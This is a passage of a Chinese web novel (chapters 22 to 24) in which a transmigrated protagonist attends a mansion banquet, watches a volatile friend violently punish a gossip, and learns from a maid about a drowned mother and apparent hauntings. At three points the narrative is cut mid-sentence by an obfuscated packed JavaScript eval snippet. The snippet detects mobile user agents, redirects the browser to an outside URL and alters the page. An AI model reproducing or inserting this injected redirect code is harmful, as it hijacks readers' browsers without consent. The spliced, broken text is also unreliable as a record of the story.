大厅边缘布置了自助餐区,李株目送人离开,独自来到餐区吃东西。 他拿了一块奶油蛋糕去到角落,眼珠子咕噜直转。 奇怪,人呢? 他给高从霭发消息:【我到你家了,没在大厅看到你】 高从霭:【马上下来】 努力小徐:【我在这里[图片.JPG]】 发完消息,收起手机继续吃。 奶油入口即化,甜而不腻,他享受的眯了眯眼睛。 “艹,他怎么下来了!” “高从霭不是不喜欢这种场合吗?妈的,看到那张脸就晦气。” “不会是想搞事情吧?高总也是,干嘛非要在家里办宴会,这下子好了,把瘟神引来了。” “过来了过来了,他过来了。” “我有种预感,今晚不太平。” 这些话或惧怕,或厌恶,清晰的传入李株的耳朵。 他舔了下唇角的奶油,脑子里传来系统的声音。 365:“高从霭的数据有波动,请问宿主是否查看。” 李株害怕又想看,心一横。 “看。” 【情绪值+130,红红的舌尖舔掉白色的奶油,笨笨的晓哲好可爱,他手里的蛋糕一定很好吃】 这三句话凑不出一个逻辑。 李株放下蛋糕,舌尖一动,不敢再舔嘴唇。 救命,刚交的新朋友有点神经,想绝交怎么办? 22.大哥,收手吧 高从霭的出现打破了宴会的平静,只要是他经过的地方,人群就会自动避开。 仿佛他是什么致命病毒。 李株放下蛋糕,对他招招手,抢在高从霭坐下之前,手忙脚乱地擦擦嘴。 在场所有人的目光,默契地落向这个不起眼的角落。 望着走到跟前的男人,李株清了清嗓子,“你之前在楼上做什么,怎么不下楼?” “玩手机。”高从霭看着他红润的嘴唇,觉得有点渴,叫来服务生取了杯常温水。 肯定是受高从霭的小作文影响,李株跟他在一起浑身不对劲。 空气变得稀薄,令人紧张。 “哦。”他干巴巴的回道,不知道该说什么。 高从霭看着他:“你不想跟我说话。” 是陈述语气。 李株心虚反驳,“别瞎说,我没有。” 高从霭没深究,转头看向宴会的焦点,哪怕是残了双腿,高从俞依旧高高在上,享受被众人拥趸。 兄弟俩的视线隔着人群对上,高从俞对其他人说了句什么,来到角落。 他手里拿着红酒杯,暗红色的液体随着动作晃动。 李株觉得自己好像听见了水声,稍纵即逝。 高从俞露出包容的笑,“没想到从霭和小徐关系这么好。” “托大哥的福。”高从霭坐到李株身边,修长的胳膊将人环住,大手扣着瘦削的肩膀,“如果不是因为医院太闷,我肯定不会找到晓哲,求他让我住下。” 兄弟俩说话的音量,没有特意避讳其他人。 闻言,人群中逐渐传来讨论声。 “这人什么来头,不只认识高总,还认识高从霭。” “他一进门高总就主动跟他说过话,到底是哪家的少爷?” “少爷会穿十块钱的地摊货?他那件T恤旧巴巴的,连个标都没有,从头到脚加起来能超过两佰吗?” “那个啥,如果我说见过他来别墅区送外卖,你们信吗?” 说话的人也住这个别墅区,意外撞见外卖员登门送点心,还被高从俞亲自请进门后,他好奇地蹲在绿化带后观察。 大约过了两三个小时,外卖员才离开高家。 高家的门不好登,他无比好奇外卖员的身份,于是第二天,又在同样的位置蹲守。 原本只是想碰碰运气,没想到真把人等到了。 这名外卖员连着又来送了两天,中间停了一天,第四天,他又来了,穿着短裤,膝盖上有伤。 不知道是被人打了一顿,还是出了车祸。 “你说他是外卖员?不可能,高总是什么身份,怎么可能和外卖员扯上关系。” “我知道不可能,但我绝对不会记错,就是他。” “太玄幻了,一个送外卖的土包子,到底靠什么攀上高家的。” “谁知道呢,肯定是不干净的手段。” “他刚才还坐在那儿吃蛋糕呢,这辈子怕是没吃过好的,穿得跟乞丐一样,跟这种人一起参加宴会真掉价。” 高从霭的左耳动了一下,忽然朝左边看去,阴沉的视线锁定说话的人。 那人像被冻住一般定在原地,闭上了嘴。 “你一个液体垃圾成形的东西,有身价吗。”他起身,走到那人面前。 身材不算健硕的青年瑟缩了下,好半天才反应过来高从霭话的意思,脸上一阵青一阵白。 “高少爷,我不明白你为什么要骂我。”他摆出无辜的表情看向高从俞,希望他能管管这个疯子。 “你刚才的话,我都听到了。”高从霭的视线像把锋利的刀子,又冷又利。 “你听错了,我什么都没说。” 高从霭很瘦,薄薄的皮肤紧绷在脸上,双眼嵌在深邃的眼窝中,显得整张脸阴鸷森冷。 “我的听力很好。”他的手缓慢抬起,掐住那人的两腮,“能清楚地捕捉到最细微的声响。” 那人的身子开始发抖,嘴唇也在颤抖,腮帮子传来尖锐的钝痛,下颌的骨骼咯吱作响,随时可能被卸下来。 口腔里的口水越来越多,导致他声音含糊,“……你……听错了……” 高从霭勾起唇,“你的意思是,我在污蔑你?” 口水从被迫张开的嘴角流出来,高从霭的手指在被弄脏的前一秒撤开,改为抓住他的头发。 那人被迫仰起头,对上那双充满杀意的眼睛,他恐惧的道:“我不是那个意思。” “那是什么意思?”高从霭的手指缓慢扣紧。 那人疼得脸色发白,哆嗦着道歉,“对不起,我错了,我不该那样说他,我真的……真的知道错了……” “当着这么多人的面,你在发什么疯!”高从俞没办法站起来,伸手去抓高从霭的胳膊。 被轻飘飘地避开,轻蔑的眼神扫了眼那双废腿。 高从俞被他的眼神刺痛,心脏被怒火炙烤着,呼吸变得又粗又沉,两只手死死扣住扶手。 高从霭没有出声,但他的眼神在说:你个废物,有什么能力阻拦我。 轻松的宴会气氛一扫而空,没有人敢说话。 直到李株走过去。 他冷冷盯着那人,狐假虎威,“道歉。” 朋友为自己出头,开口劝阻只会寒了对方的心,这种时候就得选边站,不能和稀泥。 仅仅两个字,就让高从霭的心跳加快,炙热的血液奔往身体各处,烧得他浑身发热。 他以前也为“朋友”出过头,得到的是“算了,高从霭,他快被你掐死了”、“我求求你住手,不要把事情闹大”。 当然也收获过少量的感谢,但在事后,他们会偷偷凑在一起说:“他就是个疯子,老子刚刚是真害怕他杀人。” 青年是第一个愿意站在他这边的人。 高从霭松开手,学着李株的语气:“道歉。” 血从头发里流出来,与头发相连的一小块头皮,被生生撕下来。 众人哗然,胆小的女生们吓得尖叫着往后躲。 那人捂着刺痛的头皮,对着李株九十度鞠躬,哭着说:“对不起,我错了,对不起,我错了……” 李株没想到高从霭下手这么狠,急忙说:“好了好了,我原谅你,下不为例。” 心里却在为他的头发默哀。 少了一块头皮,那处头发估计长不起来了。 惨。 他回神,见高从霭呆呆望着自己,“啧”了一声,“多大点事,就把你气成这样,别傻站着了,走,带我去花园转转。” 人多嘴杂,刚才的小插曲必定引来许多议论。 不能再让这小子听见。 “好。”高从霭如同被驯服的烈犬,收起尖利的爪牙,温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16371307|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顺地走在李株身边。 高从俞望着两人的背影,微眯起眼睛。 没想到短短几天时间,两人的关系能好到这种地步。 他拉下身段,想尽办法拉近和徐晓哲的关系,竟然不如高从霭这个神经病。 高家的花园有一百多平,在专业园丁的打理下展现出勃勃生机。 李株拉开铁艺凳子坐下,仰头看天上的月亮。 察觉高从霭还盯着自己,李株突然转头看过去,没把人吓到,反而因为对视,自己先尴尬起来。 365:“高从霭的数据更新了,请问宿主需要查看吗?” “……”李株不知道自己又触动到他哪根神经,赶忙说,“不必了,谢谢。” 系统“哦”了一声,退下。 察觉到他的不自在,高从霭将视线转向落地窗内的大厅,“这场宴会,是高从俞昨天临时决定举办的。” “临时?”李株蹙眉。 有钱人家参加宴会不是单纯的聚餐聊天,而是用于联络关系,牵线搭桥。 为了尽可能让更多的人到场,至少提前三天会发出邀请函。 李株:“他不会是因为我才……” “我猜,是的。”高从霭拿起桌上的掉落的树叶,骨节分明的手指将它揉烂,墨绿的汁液沾到指腹上。 李株不明白:“为什么呢?” 高从霭摇了摇头,“我不知道,你来之前,他特意叮嘱陈姨打扫客卧。” 邀请只是前菜,真正的目的是让李株留宿。 然后再找机会杀了他? 可如果人真的死在别墅里,高家的人也脱不了干系,高从俞没必自找麻烦。 李株的嘴唇动了动,话到嘴边又咽了下去。 纠结片刻,他掀起眼皮认真望着高从俞:“我能相信你吗?” “统哥统哥!!!”说完的下一秒,他呼叫系统,“赶紧把他的数据调出来,快。” 高从霭的瞳孔缩了缩,“当然可以。” 【情绪值+100,他一定是想告诉我什么,如果晓哲愿意跟我分享秘密,我也会告诉他我的秘密】 哟呵,意外收获。 不愧是自己人。 李株侧了侧身体,正对着高从霭,“你过来点。” 高从霭乖乖靠近,李株又说:“再过来点。” 高从霭起身,走到了李株面前蹲下。 他仰头望着青年,将两只手放到李株的大腿上,“这样可以吗?” “可以吧。”就是感觉怪怪的,李株俯身,嘴唇几乎要贴到高从霭的耳朵上。 刻意压低的声音,带着潮热的气流钻进耳道,“十来天前,我出过一次车祸,我怀疑是高从俞干的。” 高从霭的呼吸暂停,漆黑的眼睛沉下去。 “他想杀你?” “对,但我不知道原因。”李株的声音淹没在身后传来的钢琴曲中,悄悄钻进高从霭的脑海,“你能帮我找到吗?” “之前不是就答应要帮你了吗。”高从霭的手很大,掐着下面的大腿,声音坚定,“你现在有我了,他不会再有机会伤害你。” 【情绪值+555,如果晓哲没逃过那一劫,我们就不会遇见。高从俞为什么要杀他,好想杀了他……精神病杀人不犯法,我去杀了他吧。要把晓哲看好才行,关起来的话,他会不会生气?】 23.大哥,收手吧 “斯道普!” 李株噌的站起来,一巴掌拍在铁艺桌上。 高从霭的手从他腿上滑落,跟着站起来。 “怎么了?”他面色平静,与脑海中那些极端的想法反差强烈。 李株:“没什么。” 只是想让你住脑。 庆幸本次快穿有外挂,否则还真不知道,该怎么和高从霭相处。 李株组织了下语言,严肃教育道:“我很高兴你维护我,但主动对他人施展暴力不可取。” 【情绪值-150,原来他也和那些人一样,认为我是个无法自控的暴力狂,有点失望,可我还是想和他做朋友】 没想到高从霭的分值居然会减少,李株连忙补救。 “今天那人碍于高家不敢还手,那如果以后遇到敢还手的呢?高从霭,我不想你受伤,作为朋友我会很担心。” 【情绪值+150,对不起错怪你了,让你担心我真该死】 李株:“……” “那你害怕我吗?”高从霭眼神紧张,浓黑的睫毛颤动,牙关却暗自咬紧。 脑海中构思出许多种,如果青年想要远离他,该如何把人留下的办法。 “你是为了帮我,我干嘛要怕你。” 是很轻松的语气。 高从霭这才发现,在等待回答的几秒中,他一直屏住呼吸。 “太好了。”他抓住李株的手握紧,笑容在扩大,眼眶微红,“太好了。” 男人的手劲儿很大,好在李株没有痛感,眉头都没皱一下,反而拍拍对方的手背安抚。 “这有什么好激动的。”李株更想知道高从霭心里的秘密,隐晦地提醒,“你有没有其他话想告诉我。” 男人俊逸的脸上,露出古怪的笑,“告诉你一个秘密,你之前住过的客房,是我母亲和我从前的卧室。” 陈姨说过,高从霭的母亲没有名分,不明不白死在人工湖里。 人捞起来的时候,高从霭就在现场。 李株忽然想起,那天晚上他躺过的,明显更符合大部分女性审美的粉色丝绸床单…… “那间客房,有别的女性住过吗?”怕高从霭有遗漏,他补充,“朋友或者亲戚。” 高从霭:“母亲死后,我就搬到了隔壁房间,那个房间的所有摆设维持原样,没有任何人住过。” 他说这些话的时候很平静,没有发病征兆。 说明母亲的“死”,对高从霭来说不是真正的刺激点。 人的脑容量就那么大,李株无法思考所有东西,很快就将重点转移回房间上。 他没有发现,自己的声音在轻微颤抖:“为什么要维持原样呢?人已经去世这么多年了。” “因为……”阴森的笑如同嵌在毫无生气的木偶脸上,格外阴冷,高从霭一字一句地说,“她每天晚上,都要回房间啊。” 李株的头皮炸了,顷刻间身上的汗毛根根竖起,胳膊上和脖颈上爬满了鸡皮疙瘩。 “你在开玩笑吗?” “我不会开玩笑。”高从霭伸手碰了碰李株的脸,“怎么吓成这样?” 李株拍开他的手,“那你发誓。” “骗你的话我就不得好死。” “……”李株给了高从霭的肩膀一拳,“谁让你发毒誓了,赶紧呸呸呸。” 被人关心在乎的感觉令人上瘾、兴奋,高从霭努力控制几乎要扭曲的表情,呸了三声。 李株跌坐回凳子上,“照你的意思,高家一直在闹鬼,对么?” 留宿的雨夜,他做过一个溺水的噩梦。 清早起来,发现拖鞋凌乱地摆放着,想必是高从霭的母亲想上床,却发现有人提前占了属于她的位置。 于是她整夜都站在床前,安静看着他…… 画面太美了,李株只要多想一想就浑身发冷。 这样一来,今天清早客厅的脚印也有了答案。 死去的女人不满他住过她的房间,跟来了合租屋。 沈萍芳提供的思路是对的,那是水鬼的脚印。 “晓哲。”高从霭轻声问,“你害怕吗?害怕的话,晚上可以跟我睡。” 李株看着他色泽深沉的眼,皱了皱眉,“你老实交代,这个所谓的秘密,是不是你为了诓我跟你睡,瞎编的。” “我说了,我不开玩笑,更不会撒谎。”高从霭不喜欢被他质疑,面色沉得要滴水。 李株被他看得害怕,心虚地说:“我错了,不该怀疑你。” 高从霭的脾气说变就变,刚才还像只讨要骨头的小狗,现在又成了黑旋风,冷冷瞥了李株一眼,转身就走。 “喂,你等等我。”对方走得太快,不给李株挽留的机会。 他急得抓耳挠腮,把系统叫出来。 “统哥,高从霭有数据更新吗?” “有哦。”系统说完打开光屏。 【情绪值-85,晓哲不乖,那就让他好好涨涨记性】 丸辣。 李株心情沉重。 有预感,今夜将是个不眠夜。 高从霭的消失,没有在宴会中激起半点水花。少了他,大厅回到了之前热闹轻松的氛围。 李株走进去,再没有人敢说三道四,找了个安静的角落继续吃喝,肚子都撑圆了。 宴会快结束前,高从俞才坐着轮椅过来,递给他一杯红酒,虚伪地致歉。 “原本邀请你来是想好好招待的,可我实在太忙了,抱歉。” “你和我们这种小市民不一样,你是大忙人。”李株跟他碰杯,笑着说,“我理解。” 是熟悉的阴阳味儿。 照高从俞的脾气,早就黑着脸赶客了,但他生生忍下来,“你不生气就好。” 两只高脚杯相碰,发出一声脆响。 李株喝了一大口,瘪瘪嘴,“好辣。” “你喝得太急了。”高从俞说,“这是法国酒庄珍藏一百三十年的拍卖酒,你仔细闻,是不是有股淡淡的花香。初入口微甜,继而是馥郁的果香和醇厚的酒气……” 高从俞想扳回一城,故意说李株听不懂的红酒知识。 可惜并没有如他所愿那样,从青年脸上看到尴尬和茫然。 很多时候,他都怀疑李株的脑子不正常,情商低不会说话,也接收不到外界的恶意。 普通人来到这种场合,早就因为格格不入抬不起头,他倒好,窝在沙发上吃的像头猪。 跟高从霭那个神经病是绝配。 “听上去好高级。”李株知道他厌恶自己,故意用嘴唇抿过的位置,再次跟高从俞碰杯。 高从俞感到恶心,硬着头皮转动杯子,喝了一口。 李株俯身,掌心搭上男人的胳膊,高从俞闻到一股廉价的洗衣粉香气。 “谢谢高先生的邀请,否则我这辈子都没有机会,参加上流社会的宴会。”说完,掌心顺着那条胳膊滑动。 李株舔了嘴唇,看高从俞的眼神迷离又暧昧。 高从俞没有抽开自己的胳膊,“以后这种机会有很多,你喜欢的话,下次我提前通知你。” “那太好了。”李株依旧没把手拿开,反而将身体压得更低。 说话时的气息,扫过高从俞的鼻尖,带着些许酒气,“高先生为什么要对我这么好?” 高从俞胃中翻江倒海。 他知道徐晓哲是同性恋,也知道自己的言行引人误会。 可真当对方受他迷惑,表现出暧昧时,那种发自灵魂深处的排斥和憎恶,让他的每根神经都在抽搐、疼痛。 坏心情达到了顶峰。 高从俞猛地推开李株,但又怕人离开,绷着脸找了个蹩脚的借口。 “抱歉,突然想起有事,得回趟书房。” 他撂下话就走,将自己锁进房间里。 【负向值+180,到底还要等多久,受够了跟这种低贱的人相处】 【负向值+210,他为什么就没被撞死,为什么为什么,如果那天他死了,哪有如今这么多事。短命鬼去死吧,马上去死!】 【负向值+160,如果不是为了父亲,真想马上开车撞死你】 【负向值+355,死同性恋居然敢碰我,等事情结束,我一定要剁下他的手拿去喂狗】 一条条明细蹦出来,看得李株目瞪口呆。 没想到高从俞恨自己到了这个地步。 果然,出招就得狠,要不然就是隔靴搔痒,起不了作用。 李株将以上信息又看了两遍,手捂着嘴偷笑。 可以确定了,原主的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16377175|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车祸就是高从俞的手笔,而且还牵扯到了高彦和。 他晃了晃红酒杯,在心里哼着歌,目送一个个客人离开。 大厅里的客人陆续离开,在只剩下他一个人时,终于等来了陈姨。 陈姨今晚忙坏了,接到高从俞的通知,便马不停蹄赶来大厅。 见李株还在,她安下心来,“还好你没走。大少爷说夜深了,你又喝了酒,单独回家不安全,让你今晚就住别墅。” 李株放下酒杯,“这怎么好意思。” 陈姨:“大少爷拿你当好朋友,你这么说太见外了。” 嗯,想剁我手的朋友。 李株:“那好吧,我还住上次的房间吗?” “对,小少爷隔壁那间客房。”陈姨还有工作没忙完,交代完就匆忙离开了。 李株熟门熟路的来到二楼,路过高从霭房间时,他敲了三下门。 里面静悄悄的,没有人开门。 “脾气真大。”李株嘟囔着来到旁边那间,消下去的鸡皮疙瘩又起来了。 手握上冰冷的门把,打了个寒颤。 如果客房真的闹鬼,陈姨和高从俞不可能不知道,该早就搬走才对。 李株忽然想起曾经问过高从霭,既然关系不好,为什么还要住在一起。 高从霭的回答是—— “因为,我们是一家人。” 现在想来,他的意思会不会是:高家人必须一起生活在别墅里? 表里不一的哥哥,有严重精神问题的弟弟,还有一个死去的妈妈……至于高彦和这个父亲,因为身体情况特殊,可以暂时住在疗养院? 不知在走廊站了多久,背后传来陈姨的声音。 “小徐,怎么不进去?” 见李株望过来,她举了举托盘,“我想着你喝了酒,来给你送蜂蜜水。” 李株回过神,双手接过,“谢谢陈姨。” 陈姨是个好人,不知道问她能不能得到线索。 “你有话要说?”陈姨见他欲言又止,主动开口道,“想说什么就说吧。” “姨,别墅里发生过奇怪的事吗?”李株看了眼隔壁,房门紧闭,不知道高从霭听见没有。 陈姨愣了下,“你具体指什么?” “闹鬼。”李株直言。 陈姨的脸色微变,很快恢复如常,“没有的事,世界上哪儿来的鬼。” 李株挡住她的去路,“姨,实不相瞒,我在客卧住的那天晚上,做了奇怪的梦。” 陈姨的身子僵硬,紧闭着嘴巴没吭声。 “梦到我溺水了。”李株编造,“还梦到一个女人站在我床头,一直看着我,她还说那是她的房间。” 陈姨猛地打了个哆嗦。 别墅里的确发生过怪事,经过调查,那些都是小少爷的恶作剧,不能归为闹鬼。 但还是给她造成了不小的心理阴影。 李株:“你一定知道什么。” “我不知道……“陈姨绕过李株,“我,我厨房还没收拾干净,先下去了。” 李株站在原地,“陈姨,我知道你是个好人,不然也不会两次提醒我。” 陈姨停下,过了几秒,她回头对李株招手,“厨房的活儿还剩很多,小徐你能下去帮帮我吗?” 李株明白她的意思,欣喜应道:“好嘞!” 正欲离开,高从霭的房门打开一条缝。 屋子里没开灯,男人身后一片黑暗,五官挤在窄窄的缝隙中盯着李株。 幽幽地说:“你还是不肯信我。” 比起你妈妈,大兄弟你才是鬼吧。李株深吸一口气,手伸进去,落在高从霭的头顶。 “如果不信,我完全可以当你的话是耳边风,又何必来问陈姨呢,我只是想知道更多的细节。” 高从霭好像被说服了,垂下眼,不高兴地抿着唇。 李株的手指陷在男人的发丝中,轻轻揉了揉,“乖,我今晚跟你睡。” 陈姨细微的表情,足以说明宅子里藏着不少故事。 或许,高从霭母亲的鬼魂一直都在。 说不定她就站在客房门的另一边,偷听他们讲话。 这种情况下,谁敢单独睡,谁就是真正的勇士。 而李株不想当勇士。 24.大哥,收手吧 夜深了,大厅褪去了夜晚的喧闹,搬走的家具要等到明天早上才搬回来。 其余佣人和临时调来的帮手先后离开,安静的大厅里传来两人的脚步声。 李株第一次认识到,这座别墅很空旷。 厨房里剩下一些杯具没收拾完,他扯过厨房纸,拿起一只湿淋淋的高脚杯擦拭。 陈姨拧开杯子保温杯喝了一口,有点后悔带人下来了。 高家不喜欢家事外传,前两次提醒小徐已经是冒险,如果这次再多嘴说陈年旧事,万一被高从俞知道,她的退休金就没了。 “姨。”李株喊道。 陈姨的心拧起来,放下杯子低声说:“我再想想。” 李株一丝不苟的擦拭着,语气随意,“那你慢慢想,哦,对了,我今早出门前,在家里看到一对脚印,深褐色的,像踩过污泥。” 砰—— 陈姨手中的玻璃杯摔到地上,渣滓迸溅得到处都是。 她急忙蹲下隔着抹布清理。 “小徐,你以后不要再来了……不管是不是闹鬼都不要再来……” 一不留神,玻璃划过掌根留下一条浅痕,丝丝血线涌出来。 李株忙把人拽起来,在她的指挥下找到创口贴。 陈姨冲洗完伤口,接过创口贴贴上,刺痛让她清醒了许多,抬头望着仍旧这名实诚的青年。 徐晓哲跟她儿子年纪相仿,每每看到他老老实实的样子,陈姨就会想起自己的笨蛋儿子。 她不求儿子大富大贵,只求他平安健康。 这种情感也延续到了徐晓哲身上。 “为什么啊,陈姨。”李株苦恼地皱眉,“高先生对我这么好,我不能忘恩负义。” “你个傻子,姨是为了你好。”陈姨气他蠢,又欣慰他是个知恩图报的人。 她回头看了眼空荡荡的身后,声音压低了到极致。 “这座宅子有问题,大概从梁小姐去世后开始的。” 李株眨了眨眼,“梁小姐是小高先生的妈妈?” “对,梁小姐一直没名没分地跟着老爷,最后落得坠湖身亡。捞起来那天晚上,下了好大的雨……” 李株:“多大的暴雨?” 陈姨:“就你留宿当晚那种暴雨,对了,每到这种时候,小少爷就会发病。” 李株记得陈姨说过,高从霭母亲是在他三岁那年去世的。 这个年纪的孩子,用于管理记忆的海马体尚未发育成熟,正在高速生成新的神经元。 而新生的神经元可能会重建已有的神经回路,覆盖或者干扰早期记忆。 有人说自己有三岁前的记忆,其实是基于后期看到照片、家庭故事、相似场景后,大脑加工后重构出来的。 高从霭就是这种情况。 所以在寻常时刻提到梁女士的“死”,他表现平静,甚至可以说没有情绪波动。 但“雨夜”重构了高从霭的早期记忆,将他拖回到深渊。 他发病时踮脚走路,是在模仿母亲生前穿高跟鞋,学三五岁的孩童说话,是因为那时的他,真的以为自己是小孩…… 高从霭母亲被打捞起来的时间,应该和那晚高从霭下楼的时间一致。 “陈姨。”李株想验证自己的猜想,“小高先生的妈妈,是半夜被打捞起来的吗?” “你怎么知道?”陈姨惊愕。 这件事只有高家人和别墅区的一些住户知道。 高家重颜面,事后多方打点,没有让消息外漏。 “我猜的。”李株说。 陈姨点点头,“是半夜,我记得很清楚,那天晚上十二点,别墅区的保安突然来敲门,说是在人工湖发现了一条丝巾,正是梁小姐失踪时戴在身上那条。” “老爷带人赶过去,确认后便命人下人工湖打捞。尸体离水的时间,应该在十二点半左右。” “姨记忆真好,居然记得这么清楚。” “老爷他们刚走,少爷就醒了,我听到哭声过去,刚打开房门,小少爷就冲了过来,嘴里一直喊着妈妈……” 三岁大的孩子奶声奶气的,哭得声嘶力竭。 想起这段往事,陈姨有点心酸,“我拉住他哄,可他怎么也不听,非要出去,于是就给当时的管家打了电话……结果小少爷趁我不注意,跑了。” 陈姨一面拨通手机,一面跟在后面冲进暴雨中,一路跑到人工湖。 小小的高从霭定在原地,亲眼看到母亲被泡到发胀的尸体。 这段突发状况加起来,不会超过二十分钟。 还真对上了,李株欣喜地给自己点赞。 那晚上十一点多,他看到高从俞回家后追上了三楼,两人推拉一阵,也就十几分钟的事。 嗑了瓜子睡不着,便给郎峰打电话闲聊。 挂断的时候,李株看了时间,是十二点二十三分。 之后,他便听到了高从霭出门的动静。 “小少爷吓坏了,身上颤抖得厉害,小脸煞白……我,我当时也被那一幕吓到,一个不留神,小少爷就冲了过去,拉着梁女士的手说「妈妈睡着了」、「妈妈你醒醒」。” 陈姨脑海中浮现出那具白森森的,显现出巨人观的尸体,浑身都不舒服,莫名觉得冷。 李株疑惑道:“尸体发胀后要浮起来,怎么会过了十天才被发现?” 如果陈姨之前的表情,是背后说主人家旧事的心虚,那么现在,她脸上是明晃晃的恐惧。 李株一下子就猜到了,“身上绑着东西?” “是一块石头,绑在腰后。”凉风从敞开的窗户吹进来,陈姨嗓音轻颤,“所以高家人都认为,她是活够了,自己跳的湖。” 李株:“梁小姐爱孩子吗?” “哪有妈妈不爱小孩的。”陈姨松了口气,真害怕青年继续追问尸体情况,“她性情温和,很少让我们帮忙带孩子,都是亲力亲为,不管小少爷怎么哭闹都不会生气,就连……” 她抿了抿唇,本就很低的声音又低了两分,“就连大少爷故意恶作剧捉弄她,她也不生气。” 爱孩子的女人,怎么舍得扔下三岁大的孩子寻死? 联想到每次高从霭说“妈妈回来了”时,高从俞奇怪的反应……梁小姐的死怕是有蹊跷。 而且高从俞、高彦和两父子很可能是知情者。 李株算了下,高从霭三岁时,高从俞已经十二岁。 果然是个老阴阳人,从小毒到大。 李株忽然就不怕了,脑海浮现出一个温柔微笑的女人,和一个孤孤单单被留在大别墅中的小男孩。 相比之下,高家人和这座大宅才是最可怕的。 李株定了定心神,将擦得铮亮的杯子放到旁边,“后来还发生什么了?” “梁小姐死去的阴影持续了半年,有天上午,小少爷跑去书房告诉老爷,家里有人总是穿着高跟鞋走路。” “老爷起初不信,后来某天夜里,他也亲耳听到了高跟鞋声,便把所有人叫了起来。我们顺着声音来到梁小姐住过的房间,就是……就是你现在住的客卧,发现小少爷正穿着他妈妈生前的鞋子在走路。” 小小的脚踩在高跟鞋里,照理说应该很容易摔倒,高从霭却脚步稳健,后背挺得很直。 就好像,有人在后面拎着他。 陈姨头一次产生这种想法,惊得一愣。心想,一定是小徐总提“闹鬼”,把她的思维给带偏了。 “总之,那件事最后确定为小少爷在梦游。” “那高从霭也承认了吗?”梦游的人不会记得发生过什么,如果确定是高从霭所为,他一定会说“不记得”或者“没有”。 陈姨摇头说:“没有,他说是梁小姐在教他走路。老爷大发雷霆,把他关进储藏室,饿了三天才放出来。” 李株相信三岁的高从霭不会撒谎,听见高跟鞋走路声是真的,后来被教走路,也是真的。 365:“宿主,你怎么确定他一定不会撒谎?你又不是他肚子里的蛔虫。” “因为高从俞对我超乎正常人的友情,让我对他产生了坚定不移的信任。”李株辩驳的时候很羞耻,自己也变油腻了呢。 365:“别因为太盲目,最后搞砸了任务。” “搞砸是不可能的,目前已经确定高从俞是凶手了,估测任务进度过半。”李株愁的是该如何弄清背后的原因。 以及如何反杀。 陈姨没发现青年走神,“那以后,小少爷又说了几次家里有人穿高跟鞋,老爷没再理会过,只是让医生多开点药,好让小少爷晚上能睡沉一些,别再扰人清梦。” “畜生。”李株忍不住骂道,“孩子那么小,怎么能天天吃药。” “哎,谁说不是呢。”陈姨道,“那段时间小少爷几乎从早睡到晚,就白天清醒几个小时,瘦成豆芽菜了。” 李株:“药吃了多久?” “三个月吧,是医生提议减轻药量。药量减半后大约一周的时间,夏季的第一场暴雨来临。雨声和雷声太大了,我们谁也没发现小少爷从家里跑出去,是管家早上进屋叫人起床才知道人不见了。” “我们找到的时候,他光脚站在湖边,手指着湖面含糊地说「妈妈爬上来了」。” 稚嫩的声音强势的为在场人描绘出一幅生动的景象,从上至下,所有人都狠狠打了个激灵,不自觉地远离那片人工湖。 率先回过神的高彦和,气得打了他一巴掌。 “从那以后,小少爷每次发病就会学女人穿高跟鞋走路、学三岁孩童说话,发展到后面,他会在暴雨夜出门,又光着脚走回来,故意把家里踩得脏兮兮的。” “可是陈姨,那些脚印分明是女人的尺码,高从霭的脚没有那么小。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389075|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “谁不是从小人长成大人?我亲眼见过他大半夜不睡觉,光脚在客厅转来转去。后面脚长长了,肯定又用了别的什么办法……” “照你所说,小高先生的精神病很严重,那高家为什么没把他关在精神病院,而是每次情绪稳定就接回家?” “自然是因为有亲情在……”说这话的时候,她眼珠子不安的转动。 “你真的信吗?”李株觑着她的表情,轻声说,“其实你也怀疑过宅子里闹鬼吧。” 陈姨:“别瞎说,我没有。” 要挣这份钱,她就必须告诉自己,所有的一切都是人为。 可是内心深处有个声音在告诉她,房子有问题,高家人也有问题。 他们就像被一条绳索紧紧套住,哪怕兄弟关系恶劣,哪怕病发的小少爷骇人,他们都必须同住在一个屋檐下。 “姨,承认吧,你很清楚除了两位高先生和你,还有谁住在别墅里。” 李株的声音飘飘然的,如同一只轻柔的手,帮她勾勒出一张女人的脸。 那个女人曾在她受伤时,帮她处理和包扎伤口。在她需要钱时,毫不犹豫的递给她一个厚厚的信封。也会在她被丈夫殴打后,出言安慰和帮她离婚…… 这才是她敢留在这座,充满诡异的别墅的真正原因。 陈姨竖起的防御塌陷了,眼泪止不住地往下掉。 李株安静陪着她发泄情绪,等人哭的差不多了,递上一张纸巾。 陈姨抽泣,声音嘶哑,“还有件怪事。” 